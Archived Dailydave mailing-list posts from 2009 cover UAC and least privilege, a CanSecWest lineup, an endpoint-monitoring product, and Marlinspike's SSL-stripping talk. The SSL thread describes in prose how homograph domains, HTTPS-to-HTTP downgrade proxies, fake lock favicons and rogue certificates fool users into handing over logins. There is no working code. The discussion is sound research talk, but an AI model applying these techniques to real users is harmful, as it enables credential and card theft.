xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx x Call for Papers Call for Papers Dark monks of techno-fu, it is that time of the year again! The DEFCON CFP is now open! What: DEFCON 17 Call For Papers When: The Call for Papers will close on May 15, 2009 How: Complete the Call for Papers Form and send to talks at defcon dot org Papers and presentations are now being accepted for DEFCON 17, the conference your mother and ISC(2) warned you about. DEFCON will take place at the Riviera in Las Vegas, NV, USA, July 31 - August 2, 2009. https://www.defcon.org/html/defcon-17/dc-17-cfp.html -----BEGIN PGP SIGNATURE----- Version: PGP Desktop 9.9.1 (Build 287) Charset: us-ascii wsBVAwUBSZeecg6+AoIwjTCUAQIQgAf9Hi9j1Ld1CaTrejmhncEI+XS/EycZAm5w tikrRZ1hYUUhtF1B2VCL2KHHMkpmMKnqXTZmvOH3+YhgfvOzRrCqVVhaKm5EatD3 cNjA/6OS//2Vmk9+niX6EvJes+oERzq6pzQrPWNbLzUrvnyi0O92252lHF3QcFfQ TXQ20HpGSsO1KUm+3Jqc9UuDSwNbEYNxz2z7IUqH+RTUclKQo42hrWY7anmCiLEC vzjL6syTdADZJKt4y4tzaeF2TNCVloSV56Tbatc1Wfoi1UvqNJUFQYFouy3R9iIG IRoXJRPR42o4wioqJ6+pkHc6L7nQu6jXIaV3+KgWufzvWpwoVMpgVA== =SXmq -----END PGP SIGNATURE----- From andreg at gmail.com Sun Feb 15 06:43:45 2009 From: andreg at gmail.com (Andre Gironda) Date: Sun, 15 Feb 2009 04:43:45 -0700 Subject: [Dailydave] So, the security industry has given up on the principles of least privilege and separation? In-Reply-To: References: Message-ID: <2fd9390e0902150343l1202cd83n546eae5eca652806@mail.gmail.com> On Sat, Feb 14, 2009 at 8:11 AM, Dave Korn wrote: > There's a story from yesterday on ElReg, following up the ongoing issue with > UAC in the win7 betas. The exploit itself (not well explained in the article, > but amply illustrated by the OPs referenced there) is interesting, as much > from a political point of view (it appears to be a blatantly anti-competitive > attempt to give MS' apps an advantage over all others in the ability to > present a smooth and pleasant user experience uninterrupted by UAC popups) as > from a technical one, but the thing that boggled me was a quote from Secunia: Thanks for telling us about this story and the Secunia follow-up. I have seen a few articles lately such as: http://www.cio.com/article/479228 "Removing Admin Rights Stymies 92% of Microsoft's Security Vulnerabilities Nine of out 10 critical bugs reported by Microsoft last year could have been made moot, or at least made less dangerous, if people ran Windows without administrative rights, a developer of enterprise rights management software claimed Tuesday". The Secunia bit appears to be a backlash against the latest IT security trend that has recently come into full maturity and adoption (i.e. enlightenment): Role Management for Enterprises. Business owners know what it is, what's it's going to do for them, and how to get there. I believe this is for many good reasons, including the ones mentioned above. It is quite likely that compliance standards and regulations (via controls based on the principles of "segregation of duties") have allowed organizations to measure the success of RME for a few years now. The benefits appear to be greater than originally imagined through early risk analysis predictions. Not only does RME appear to be working, but the most recent standards, such as PCI-DSS 1.2 (which came out in October, 2008 with a pre-release of September 17th) have begun to add words such as "RBAC" to many requirements as additional required controls. > Thomas Kristensen ... No matter which security features > have been built into the operating system, then the user should never run > code, which they don't trust in the first place. Untrusted code should only be > run on dedicated test systems." This is probably due to the fact that Secunia has invested a lot of resources into binary analysis (malware and COTS appsec research) and classic vulnerability management based around network scanning and patching - "Scan & Patch". http://securitybuddha.com/2008/05/24/presenting-security-ideas-or-driving-agendas/ "It's difficult to get a man to understand something when his salary depends on him not understanding it". > That made me snort into my breakfast cereals, I can tell you. Has the > entire security industry abandoned all hope of using the principle of least > privilege and limited user accounts, or just him? It's been said time and > again that actually having your users running under limited user accounts is > in practice a very effective measure against an awful lot of malware, breaking > a lot of its mechanisms for self-propagation, installation and infection. Well there are two camps here. The first, which is trying to make least priv work without affecting usability. The second, which puts limitations on role management because they believe all security affects usability. > It's easy to say that the user must never get "untrusted" software on there > machine, but that don't help Joe Sixpack much; how's he supposed to "trust" an > impenetrable blob of binary? He's not a reverse engineer, and can't be > expected to be; so isn't it a good idea that there should be a way for him to > run processes in a constrained fashion that won't give them the ability to > modify the system? Opening a Zip File shouldn't affect the registry or control panel. There are many ways to teach users this fact, and other similar facts. One of those ways is through technology like UAC. UAC is a free tool in the RME tool chest for organizations in need of more refined user/app/process entitlements. The Windows7 stuff appears to be a call for OEM manufacturers to stop putting vulnerable software on pre-pwned hardware. For this situation, I don't see it working very well, but I could be wrong. Most users outside of the tech field don't even know what applications are installed on their computers or how they got installed. This is probably the first problem that we need to solve. > I was surprised, anyway. I thought (unauthorised) privilege escalation was > an exploit and desirable to prevent; I didn't expect a security commentator to > describe it as just one of the things you should expect from life as routine. > Why did we spend all those years berating MS for installing everything with > admin rights by default, if it was fine all along? Why doesn't everyone just > give all there *nix users root, if it doesn't matter? Most installations will require some elevated privileges to complete successfully even when the application runs with user privileges. Therefore it is important to have an installation process that provides only the necessary permissions and, ideally, in a way that is transparent to the user. This is not only true for new application installations, but also application updates. Users do not have the time to run FileMon, RegMon, and Tripwire every time that they click a new button on a configuration panel. Somebody has to do all of the work ahead of time and ensure that the proper application roles are in place with only the permissions necessary to complete the task at hand. If it's not going to be the COTS application vendors, or the FOSS deployment teams - then it has to be a job for somebody. Perhaps application security? Administrators fail for the same issues, and often worse, than users. They will configure the application tier's interface to another tier (message queue, database, grid, web services) with full permissions using only one (default) role. IT admins often cite reasons such as "connection pooling" or other performance/architecture factors. There is no reason for a database user to have full table and view privs, along with full execution permissions on every type of stored procedure. Any tools or infrastructure processes to make this task easier, I'm all for. Anyone play around in the RME market space? The article that I linked to mentioned BeyondTrust, which I know nothing about. I'm more curious if there are any tools out there in the open-source world, or if anyone is working on any? I know that CISecurity, NSA SNAC, IASE STIGs, and many other resources speak to the least privilege principle, but it would be nice if someone had all of this information available on solely just role management in one easy to find place. Cheers, Andre From dr at kyx.net Sun Feb 15 21:41:39 2009 From: dr at kyx.net (Dragos Ruiu) Date: Sun, 15 Feb 2009 18:41:39 -0800 Subject: [Dailydave] CanSecWest 2009 Speakers and Dojo courses (Mar 14-20) Message-ID: <200902151841.39688.dr@kyx.net> Final Speaker Lineup for CanSecWest 2009 (March 18-20): =============================================== The Smart-Phones Nightmare - Sergio 'shadown' Alvarez Getting into the SMRAM: SMM Reloaded - Lo?c Duflot Network design for effective HTTP traffic filtering - Jeff "rfp" Forristal, Zscaler Ninja Scanning - Fyodor, Insecure.org On Approaches and Tools for Automated Vulnerability Analysis - Tanmay Ganacharya & Nikola Livic & Abhishek Singh & Swapnil Bhalode & Scott Lambert, Microsoft Kicking It Old School: No DNS Packets Were Harmed In The Making Of This Presentation - Dan Kaminski, IOActive Binary Clone Wars: Software Whitelisting for Malware Prevention and Coordinated Incident Response. - Shane Macaulay, Sean Comeau, and Derek Callaway, Security Objectives .NET Rootkits - Erez Metula The Evolution of Microsoft's Exploit Mitigations - Matt Miller and Tim Burrell, Microsoft An overview of the state of videogame console security. - Victor Mu?oz A Look at a Modern Mobile Security Model: Google's Android - Jon Oberheide Bug classes we have found in *BSD, OS X and Solaris kernels - Christer Oberg and Neil Kettle, Convergent Network Solutions Multiplatform Iphone/Android Shellcode, and other smart phone insecurities - Alfredo Ortega and Nico Economou, Core Platform-independent static binary code analysis using a meta-assembly language - Sebastian Porst & Thomas "halvar" Dullien, zynamics Persistent BIOS Infection - Anibal Sacco & Alfredo Ortega, Core Decompiling Dalvik and other JavaFX - Marc Schoenefeld Automated Real-time and Post Mortem Security Crash Analysis and Categorization - Jason Shirk & Dave Weinstein, Microsoft SSL, The Sequel: MD5 collisions and EV certificates - Alexander Sotirov & Mike Zusman Exploiting Unicode-enabled software - Chris Weber Chinese Infosec & Malware Overview - Wei "icbm" Zhao, 365menshen Hacking Macs for Fun and Profit - Dino Dai Zovi & Charlie Miller ...and a variety of lightning talks... Security Masters Dojo courses (March 14-17): ==================================== Metasploit: Asymmetric Warfare - H D Moore, BreakingPoint Systems Advanced Honeypots - Thorsten Holz IPv6 Network Security - Nico Fishbach & Guillaume Valadon, COLT & CNRS Ultimate Web Hacking (One Day Edition) - Mike Andrews, Foundstone TCP/IP Network Security In Depth - Andrea Barisani, inverse path Effective Fuzzing using the Peach Fuzzing Platform - Michael Eddington, Leviathan Security Secure Java Programming and Auditing - Marc Schoenefeld Practical 802.11 WiFi (In)Security - C?dric Blancher, EADS Q/SSE Qualified/ Software Security Expert Certification Bootcamp - Security University Q/SA Qualified Security Analyst Penetration Tester - Security University Advanced Linux Hardening - Andrea Barisani & Jay Beale, inverse path & Intelguardians Physical Security and Lock Technology - Deviant Ollam The Exploit Laboratory - Advanced Edition - Saumil Shah, Net-Square Mastering the Network with Scapy - Phillipe Biondi, EADS Pwn2Own Contests: ================ There will be TWO Pwn2Own contests this year. Generous cash prize(s) for exploits will be sponsored by Tipping Point, and a Sony VAIO P fresh from Japan and a new loaded Apple Macbook will be amongst the prizes. The targets this year will be mobile smart-phones, and browsers. Mobile targets: iPhone Android Symbian RIM/BlackBerry Windows Mobile Browser Targets: IE8 FF3 Safari Opera The contest will like in previous years feature a progressively expanding attack surface over the three day duration of the conference. Final prizes and rules will be announced shortly. Post-Conference Whistler Expedition: ============================= We have secured some rooms at good rates at the Westin in Whistler and reserved a cluster of four, 3-5 bedroom, cabins for the weekend after the conference. Contact dr at kyx.net if you wish to be included in the planning, final accommodation rates will be announced shortly. Conference Hotel Block: =================== The room rates at the Sheraton Wall Center hotel where the conference is being held have been reduced from $183 to $169, and still includes a waived $15/day free internet access in the rate. Tenth Anniversary Gala Event: ======================== Since this is our tenth anniversary for the conference, we will be having a party on Thursday night. Venue TBD. We're pretty sure there will be a cake. No word yet on whether there will be dancers inside it. ;-) Day-Care Facilities will be available: ============================= As a nod to the shifting demographic of early gen. security researchers we will be trying a new experiment this year and we will be providing day-care facilities for those traveling with kids. We will try to arrange some group discounts with our provider once we know how many kids and what ages and times will have to be accommodated. If you are interested in this service please send a note to yuriko at secwest.com and let her know ages and times. We will try to get them started on exploit writing courses for pre-schoolers :-). Does this mean we are all grown up now? It promises to be another fun conference again this year. See you all there. cheers, --dr -- World Security Pros. Cutting Edge Training, Tools, and Techniques Vancouver, Canada ?March 16-20 2009 ?http://cansecwest.com pgpkey http://dragos.com/ kyxpgp From dan at geer.org Mon Feb 16 09:45:14 2009 From: dan at geer.org (dan at geer.org) Date: Mon, 16 Feb 2009 09:45:14 -0500 Subject: [Dailydave] So, the security industry has given up on the principles of least privilege and separation? In-Reply-To: Your message of "Sat, 14 Feb 2009 21:04:28 +0100." <448e9a320902141204k59ba155dh166409e319f11b46@mail.gmail.com> Message-ID: <20090216144515.0CE9933F16@absinthe.tinho.net> > Secunia is talking about reality, not hopes and dreams. In reality, > the industry came up with three specific options: > ...snip... Disclaimer: I worked full time at Verdasys for five years and I am talking about their products, in which I do have an interest. The issue of data loss, or for that matter proving to this or that authority that data loss did not happen, is a pure "reality, not hopes and dreams" laboratory. In the case of Verdasys' "Digital Guardian" product, once installed it makes admin privileges orthogonal to data protection. The product appeals to big firms who tend to deploy it on an enterprise basis, and there are now seven digits of seats so installed with many more in progress. Hosts which do not run DG are the ones who will be dealing with the bear, if you recall that joke. The precis' is: ============ Digital Guardian is a recording reference monitor: an agent on every surveilled host communicating periodically with a no-wait-state collection depot arbitrarily located. The agent is small, tight, invisible, tamper-resistant, and low-load. Any touch whatsoever of local data is captured at the innermost operating system levels. Agents do 20,000-to-1 continuous log reduction, compress and encrypt bundles of these results, and push them to the collection system with end-to-end assurance, adapting to intermittent connectivity without intervention. Consequent to its complete real-time capture, questions requiring full enumeration of past actions (prove no one outside the CFO's staff read this document) and goals requiring zero-prep reaction (application whitelists and zero-day defense) become trivially feasible. Less dramatically, forensics becomes possible at near-zero reconstruction cost, communities of trust become enforceable irrespective of conventional perimeters, data redaction at any level of granularity becomes auditably trivial and trivially auditable, silent alarms can signal enforcement authorities for anticipated events or for unanticipated exceptions, and honest people can be coached to remain honest without the risk of inadvertently preventing anyone from getting their job done. An enemy able to strike location independently and without self revelation commands the defender to focus on pre-emptive strategies, pre-emption requires intelligence, and intelligence requires surveillance. For the electronic sphere, that surveillance has as its primary unit of observation either a data object or a person; only the former is at once versatile, no-load, inescapable, and an enabler of economic benefits that justify its existence at times of lessened danger and for prosaic purposes. Day-to-day use is a pre-requisite for that tool familiarity essential to its confident use in times of heightened need, as it is with any platform. ============ The second Verdasys product is SiteTrust, and it, too, is in seven figure rollout. It is a run-time installable protection that *depends* on the user/client having admin privilege, which is to say that if a user has admin privilege then you must assume they are 0wned already. If they are 0wned already and you need to transact with them, such as to permit their stock trading from their desktop via your datacenter, then you must 0wn their desktop for the duration of the transaction. If you make such temporary remote control a condition for the client to receive trade guarantees, then they will so agree, as has been shown. The point, if you like irony, is that the opposition has proven that the operating system is so complex as to be porous and they have demonstrated abundant mechanism to accomplish remote 0wnership. This being an asymmetric war, we have no choice but to adapt their mechanisms to our ends, viz., we cannot hope to provide protections to electronic commerce clients unless we 0wn them, if only for the duration of the transaction and only after asking nicely. I leave it to the list to debate whether such therapies violate "Primum non nocere." --dan From lcamtuf at coredump.cx Mon Feb 16 10:28:45 2009 From: lcamtuf at coredump.cx (Michal Zalewski) Date: Mon, 16 Feb 2009 16:28:45 +0100 Subject: [Dailydave] So, the security industry has given up on the principles of least privilege and separation? In-Reply-To: <2fd9390e0902150343l1202cd83n546eae5eca652806@mail.gmail.com> References: <2fd9390e0902150343l1202cd83n546eae5eca652806@mail.gmail.com> Message-ID: <448e9a320902160728l34c4edc3qb0f79ca2cbd25543@mail.gmail.com> > "Removing Admin Rights Stymies 92% of Microsoft's Security Vulnerabilities > Nine of out 10 critical bugs reported by Microsoft last year could > have been made moot, or at least made less dangerous, if people ran > Windows without administrative rights, a developer of enterprise > rights management software claimed Tuesday". If you look at the vague, short, management-oriented white paper that backs with this PR claim (http://beyondtrust.com/documentation/whitePapers/wp_VulnerabilityReport.pdf) - by the way, from a company that happens to make account privilege management software - it seems that they are essentially saying two things: 1) With 100% of client software vulnerabilities, the attacker can do a bit less to the system if user is not running as root (duh), 2) About 92% of all vulnerabilities in Microsoft bulletins affected client software, exclusively (MSIE, Office, etc) or not (shared image, XML parsing libraries, etc). The transition made in the magazine, from "attacker can do a bit less" to "critical bugs could be made moot" seems to be a pretty fallacious one, however. /mz From bob at zanshinsecurity.com Tue Feb 17 12:14:02 2009 From: bob at zanshinsecurity.com (Bob Mahoney) Date: Tue, 17 Feb 2009 12:14:02 -0500 Subject: [Dailydave] So, the security industry has given up on the principles of least privilege and separation? In-Reply-To: <20090216144515.0CE9933F16@absinthe.tinho.net> References: <20090216144515.0CE9933F16@absinthe.tinho.net> Message-ID: <155607FD-4097-4F30-B979-C0179C6161A7@zanshinsecurity.com> In 2006, my company did a project for Dan, looking at the possibility of crafting a zero-day deflecting rule set for the Verdasys Digital Guardian product. Dan allowed me to present an overview of the work at MIT's "Security Camp" that summer, along with my thoughts on how the product might enhance/improve incident response capability. PDF version, with speaker's notes, but w/o clever animation, is available at: http://www.zanshinsecurity.com/archive/Zanshin-DigitalGuardian-IR.pdf Targeted for an audience of mostly security staff, from Boston-area universities. The incident response thoughts are largely based in our experiences "managing" MIT's response to Blaster. (we got *hurt*, in about the $1 million range... a link to our paper on that subject is in the notes, as well as other references, some to members of this list) I wish I'd had this tool available for Blaster, damage would have been minimized, and my team would have gotten a little sleep. Years of watching people deploying the wrong things, and being unable to grasp how poorly they perform, is just depressing. But I was genuinely impressed by DG (circa 2006, at least- I'm sure it's continued to evolve) If I was offered a job today running a large network of Windows machines, I'd probably want to negotiate the purchase/deployment of DG up front. More importantly, it's a product I think I could coexist peacefully with as an end user... The product is interesting, and we had fun thinking up ways to do useful things with it. Disclaimer: Zanshin got paid for this work, although we're no longer active under that name. I have never had a financial interest of any sort in Verdasys or DG. -Bob On Feb 16, 2009, at 9:45 AM, dan at geer.org wrote: > Digital Guardian is a recording reference monitor: > an agent on every surveilled host communicating > periodically with a no-wait-state collection depot > arbitrarily located. The agent is small, tight, > invisible, tamper-resistant, and low-load. Any > touch whatsoever of local data is captured at the > innermost operating system levels. Agents do > 20,000-to-1 continuous log reduction, compress and > encrypt bundles of these results, and push them to > the collection system with end-to-end assurance, > adapting to intermittent connectivity without > intervention. From gollmann at us.ibm.com Tue Feb 17 21:25:54 2009 From: gollmann at us.ibm.com (Gunter Ollmann) Date: Tue, 17 Feb 2009 21:25:54 -0500 Subject: [Dailydave] Which vulnerability researcher has the most disclosures to his/her name? Message-ID: That was the question recently posed (again)... "Which vulnerability researcher has the most disclosures to his/her name?" ... Well, I figured the list would also be keen on knowing the answer, so I've done some digging. You can find the answer (and respective analysis) over on Frequency-X http://blogs.iss.net/archive/2008Top10VulnResearc.html Sorry to the "best in the world" gang, nobody there made the cut. Yes, I know there are lots of caveats, but hey - you can only work with the data that's public. Cheers, Gunter, -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.immunitysec.com/pipermail/dailydave/attachments/20090217/e9efa5e8/attachment.htm From dave at immunityinc.com Thu Feb 19 12:07:22 2009 From: dave at immunityinc.com (Dave Aitel) Date: Thu, 19 Feb 2009 12:07:22 -0500 Subject: [Dailydave] SSL MITM fun. Message-ID: <499D91CA.5060104@immunityinc.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 This is a good presentation. https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf Essentially he details 3 attacks (from what I can tell): 1. Register a .cn address and use unicode character for / and ? to have HTTPS://www.paypal.com/?domain.cn? validate 2. Force user to stay on HTTP by MITM proxy that does modifications to the data as it goes through. Send HTTPS to the server, and HTTP to the client. Use a Lock icon as your Faveicon to fool the user they are "secure" even though they see HTTP:// instead o HTTPS:// 3. Sign the leaf cert with your leaf cert. This abuses an implementation flaw in OpenSSL, etc. For bonus fun, he points out once again that Banks and lots of sites do their login pages in HTTP and not HTTPS. - -dave -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.6 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFJnZHKtehAhL0gheoRAgoXAJ9LOxBGvjPr+2wconQPP1UOpL64mQCdEqkI drFaFiCtCMsjl/E5FqQdX0w= =5evO -----END PGP SIGNATURE----- From dnm at pobox.com Thu Feb 19 13:04:33 2009 From: dnm at pobox.com (Dan Moniz) Date: Thu, 19 Feb 2009 13:04:33 -0500 Subject: [Dailydave] SSL MITM fun. In-Reply-To: <86fc46910902191003j397d583ev4a4cbaa2c037f464@mail.gmail.com> References: <499D91CA.5060104@immunityinc.com> <86fc46910902191003j397d583ev4a4cbaa2c037f464@mail.gmail.com> Message-ID: <86fc46910902191004w3ff5e609p445843f528b89057@mail.gmail.com> On Thu, Feb 19, 2009 at 12:07 PM, Dave Aitel wrote: > This is a good presentation. > > https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf > > Essentially he details 3 attacks (from what I can tell): > 1. Register a .cn address and use unicode character for / and ? to > have HTTPS://www.paypal.com/?domain.cn? validate Unless I'm missing something, this is essentially what Eric Johanson said in 2005 about IDN: http://www.shmoo.com/idn/homograph.txt > 2. Force user to stay on HTTP by MITM proxy that does modifications to > the data as it goes through. Send HTTPS to the server, and HTTP to the > client. Use a Lock icon as your Faveicon to fool the user they are > "secure" even though they see HTTP:// instead o HTTPS:// > > 3. Sign the leaf cert with your leaf cert. This abuses an > implementation flaw in OpenSSL, etc. If you can sit between endpoints, modify traffic, and you control one of the eventual endpoints anyway, and only you're jumping through all these hoops to maintain the illusion for the unsuspecting user, why not just take control of DNS and *actually* MITM SSL? -- Dan Moniz [http://pobox.com/~dnm/] From alex at sotirov.net Thu Feb 19 15:07:35 2009 From: alex at sotirov.net (Alexander Sotirov) Date: Thu, 19 Feb 2009 15:07:35 -0500 Subject: [Dailydave] SSL MITM fun. In-Reply-To: <86fc46910902191004w3ff5e609p445843f528b89057@mail.gmail.com> References: <499D91CA.5060104@immunityinc.com> <86fc46910902191003j397d583ev4a4cbaa2c037f464@mail.gmail.com> <86fc46910902191004w3ff5e609p445843f528b89057@mail.gmail.com> Message-ID: <20090219200735.GA7375@MacBook.local> On Thu, Feb 19, 2009 at 01:04:33PM -0500, Dan Moniz wrote: > On Thu, Feb 19, 2009 at 12:07 PM, Dave Aitel wrote: > > 1. Register a .cn address and use unicode character for / and ? to > > have HTTPS://www.paypal.com/?domain.cn? validate > > Unless I'm missing something, this is essentially what Eric Johanson > said in 2005 about IDN: > http://www.shmoo.com/idn/homograph.txt Eric used the IDN to register pаypal.com, which was displayed as paypal.com. According to Moxie's presentation, this doesn't work any more because Firefox always shows the non-IDN version of the domain name for the .com TLD. Firefox will show the above domain as xn--pypal-4ve.com. The new idea in this presentation is to use a .cn domain, but use UNICODE characters that look like '/'. The attacker registers a domain like www.google.com/blahblahblah.cn, and since this is a .cn domain, the browser decodes the IDN name and displays the '/' character. Very cool. This means that as long as there is one TLD which allows IDN, attackers can spoof any address in any other TLD. IDN is dead. > > 3. Sign the leaf cert with your leaf cert. This abuses an > > implementation flaw in OpenSSL, etc. > > If you can sit between endpoints, modify traffic, and you control one > of the eventual endpoints anyway, and only you're jumping through all > these hoops to maintain the illusion for the unsuspecting user, why > not just take control of DNS and *actually* MITM SSL? No, ever if you sit between endpoints you are not necessarily in control of the endpoints. For example, sitting in a Starbucks will let you modify the traffic for other WiFi clients, but you don't have access to the clients themselves. What do you mean by "actually MITM SSL"? The leaf signing attack described above is real MITM on SSL. Alex -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 194 bytes Desc: not available Url : http://lists.immunitysec.com/pipermail/dailydave/attachments/20090219/c93413b2/attachment.pgp From lcamtuf at coredump.cx Thu Feb 19 15:16:38 2009 From: lcamtuf at coredump.cx (Michal Zalewski) Date: Thu, 19 Feb 2009 21:16:38 +0100 Subject: [Dailydave] SSL MITM fun. In-Reply-To: <86fc46910902191004w3ff5e609p445843f528b89057@mail.gmail.com> References: <499D91CA.5060104@immunityinc.com> <86fc46910902191003j397d583ev4a4cbaa2c037f464@mail.gmail.com> <86fc46910902191004w3ff5e609p445843f528b89057@mail.gmail.com> Message-ID: <448e9a320902191216t104d6f62ie15f0d53b4367888@mail.gmail.com> >> have HTTPS://www.paypal.com/?domain.cn? validate > Unless I'm missing something, this is essentially what Eric Johanson > said in 2005 about IDN: http://www.shmoo.com/idn/homograph.txt Yes, and unless I am mistaken, most browsers should take a number of countermeasures, including banning many homographs not consistent with user's current script, or the script of the target domain; in particular, I think /-lookalikes are banned in most implementations, making this vector much less plausible. The screenshots in that presentation seem to be of Firefox 1.5, judging from UI icons. > If you can sit between endpoints, modify traffic, and you control one > of the eventual endpoints anyway, and only you're jumping through all > these hoops to maintain the illusion for the unsuspecting user, why > not just take control of DNS and *actually* MITM SSL? To avoid scary security warnings. /mz From fyodor at insecure.org Thu Feb 19 18:36:05 2009 From: fyodor at insecure.org (Fyodor) Date: Thu, 19 Feb 2009 15:36:05 -0800 Subject: [Dailydave] SSL MITM fun. In-Reply-To: <86fc46910902191004w3ff5e609p445843f528b89057@mail.gmail.com> References: <499D91CA.5060104@immunityinc.com> <86fc46910902191003j397d583ev4a4cbaa2c037f464@mail.gmail.com> <86fc46910902191004w3ff5e609p445843f528b89057@mail.gmail.com> Message-ID: <20090219233605.GK20022@syn.lnxnet.net> On Thu, Feb 19, 2009 at 01:04:33PM -0500, Dan Moniz wrote: > On Thu, Feb 19, 2009 at 12:07 PM, Dave Aitel wrote: > > > https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf > > > > Essentially he details 3 attacks (from what I can tell): > > 1. Register a .cn address and use unicode character for / and ? to > > have HTTPS://www.paypal.com/?domain.cn? validate > > Unless I'm missing something, this is essentially what Eric Johanson > said in 2005 about IDN: Moxie credits 3ric by name on slide 87. But the browsers have made adjustments to prevent 3ric's exact attacks. Moxie demonstrates ways to generalize the attacks a bit and also get around the new restrictions (such as refusing to render IDN in the com TLD). The slides give numbers for how many people he apparently fooled with the MITM attacks (e.g. 16 credit card numbers and 7 PayPal logins and 300 other https logins in 24 hours), but it isn't clear from the slides alone where he performed the attacks. Maybe a coffee shop? I'm hoping it was on the Black Hat DC network before his presentation :). Some of the information in the slides is already well known, but I hope he can shame organizations (particularly the banks and browser vendors) into actually doing something about it. Also, the presentation gives the http://thoughtcrime.org URL for his sslstrip software, but I don't see it there yet. I currently just see his old sslsniff program. Too bad he doesn't talk about extended validation certs, as they certainly have their own spoofing problems too. Particularly if one can get hold of a non-EV (domain validated) cert for the domain. Cheers, Fyodor From berendjanwever at gmail.com Thu Feb 19 16:42:39 2009 From: berendjanwever at gmail.com (Berend-Jan Wever) Date: Thu, 19 Feb 2009 22:42:39 +0100 Subject: [Dailydave] SSL MITM fun. In-Reply-To: <86fc46910902191004w3ff5e609p445843f528b89057@mail.gmail.com> References: <499D91CA.5060104@immunityinc.com> <86fc46910902191003j397d583ev4a4cbaa2c037f464@mail.gmail.com> <86fc46910902191004w3ff5e609p445843f528b89057@mail.gmail.com> Message-ID: <3fa2f5bb0902191342le9bae92of0636f2925c9e463@mail.gmail.com> On Thu, Feb 19, 2009 at 7:04 PM, Dan Moniz wrote: > On Thu, Feb 19, 2009 at 12:07 PM, Dave Aitel wrote: >> 1. Register a .cn address and use unicode character for / and ? to >> have HTTPS://www.paypal.com/?domain.cn? validate > > Unless I'm missing something, this is essentially what Eric Johanson > said in 2005 about IDN: > http://www.shmoo.com/idn/homograph.txt If you have access, have a look at https://bugzilla.mozilla.org/show_bug.cgi?id=441811 From dnm at pobox.com Thu Feb 19 16:46:45 2009 From: dnm at pobox.com (Dan Moniz) Date: Thu, 19 Feb 2009 16:46:45 -0500 Subject: [Dailydave] SSL MITM fun. In-Reply-To: <20090219200735.GA7375@MacBook.local> References: <499D91CA.5060104@immunityinc.com> <86fc46910902191003j397d583ev4a4cbaa2c037f464@mail.gmail.com> <86fc46910902191004w3ff5e609p445843f528b89057@mail.gmail.com> <20090219200735.GA7375@MacBook.local> Message-ID: <86fc46910902191346o50d4de89s82e16a503d70ce12@mail.gmail.com> On Thu, Feb 19, 2009 at 3:07 PM, Alexander Sotirov wrote: > On Thu, Feb 19, 2009 at 01:04:33PM -0500, Dan Moniz wrote: >> On Thu, Feb 19, 2009 at 12:07 PM, Dave Aitel wrote: >> > 1. Register a .cn address and use unicode character for / and ? to >> > have HTTPS://www.paypal.com/?domain.cn? validate >> >> Unless I'm missing something, this is essentially what Eric Johanson >> said in 2005 about IDN: >> http://www.shmoo.com/idn/homograph.txt > > Eric used the IDN to register pаypal.com, which was displayed as > paypal.com. According to Moxie's presentation, this doesn't work any more > because Firefox always shows the non-IDN version of the domain name for > the .com TLD. Firefox will show the above domain as xn--pypal-4ve.com. > > The new idea in this presentation is to use a .cn domain, but use UNICODE > characters that look like '/'. The attacker registers a domain like > www.google.com/blahblahblah.cn, and since this is a .cn domain, the > browser decodes the IDN name and displays the '/' character. Very cool. > > This means that as long as there is one TLD which allows IDN, attackers > can spoof any address in any other TLD. IDN is dead. I guess what I was getting at is that this still relies on a lack of canonicalization of Unicode characters to codepoints, and takes advantage of a character appearing to be something it actually isn't, in this case, one including something that looks like a slash (or virgule) but isn't. Am I still missing something? Interestingly, the slash we're all familiar with on "standard' keyboards is U+002F, named SOLIDUS in Unicode, despite the fact U+2044 is typographically a solidus, yet *it* is named FRACTION SLASH in Unicode, in flagrant violation of hundreds of years of typesetting convention; Somewhere, Bringhurst is rightfully incensed. >> > 3. Sign the leaf cert with your leaf cert. This abuses an >> > implementation flaw in OpenSSL, etc. >> >> If you can sit between endpoints, modify traffic, and you control one >> of the eventual endpoints anyway, and only you're jumping through all >> these hoops to maintain the illusion for the unsuspecting user, why >> not just take control of DNS and *actually* MITM SSL? > > No, ever if you sit between endpoints you are not necessarily in control > of the endpoints. For example, sitting in a Starbucks will let you modify > the traffic for other WiFi clients, but you don't have access to the > clients themselves. My understanding of the attack presented was that the attacker was able to at least sit between endpoints and modify HTTP responses (e.g. 302 redirect) from the legitimate destination host en route back to the requesting host towards the end of rewriting them to point to the new .cn domain name. In addition, the host on the other end of that .cn domain name was attacker-controlled. Given this, why not just try to gain control of DNS and actively MITM SSL instead of rewriting HTTP responses? The request to go to http://www.secure.example.com/ goes to the attacker's bump on the wire, the attacker can independently fetch content from the real http://www.secure.example.com/ and follow whatever legitimate 302 redirect it returns to point to https://www.secure.example.com/, initiate and handle the SSL/TLS setup, and either establish real SSL with the requester as well (with a generated cert signed by a cert trusted by the browser), or do the same thing (for whatever reason) and just feed back pages that look right but aren't. As far as I can tell, the trade-offs are: 1. One way you aren't really supporting the requester using SSL, but they likely won't notice or care. You need to register an appropriate IDN domain name with a TLD that supports IDN, like .cn. You need to sit on the network to rewrite 302 redirect responses from the destination host back to the requester to point to your domain name. You need to run your malicious attacker-controlled endpoint referenced by your domain name. 2. The other way you can force HTTP if you want to, or you can support SSL to the requester with a cert signed by a trusted cert which would result in no cert warnings. You can observe and modify all the traffic you want, including pointing to other sites if you so choose, but you don't need to. You have to take over DNS as far as the requester is concerned, at least. The requester never need see anything other than what the legitimate destination's URLs should and do look like under normal circumstances. Did I miss something? On Thu, Feb 19, 2009 at 3:27 PM, George Ou wrote: > You don't need to MITM SSL, nor is it easy to do. > > When you fake an SSL cert, the user gets a certificate warning which 9 out > of 10 people ignore anyways. Taking control of DNS does nothing to change > this. Eddy Nigg documented an example with cert resellers doing zero verification before issuing a cert for mozilla.com, which was trusted by Firefox out of the box, as late as December 23, 2008 (cert issued for one year, starting on December 22, 2008). This would raise no warnings. I find it hard to believe there are provably no resellers today, nor will there be any in the future, that wouldn't necessarily do the same thing. This plus the ability to control domain names resolution and it 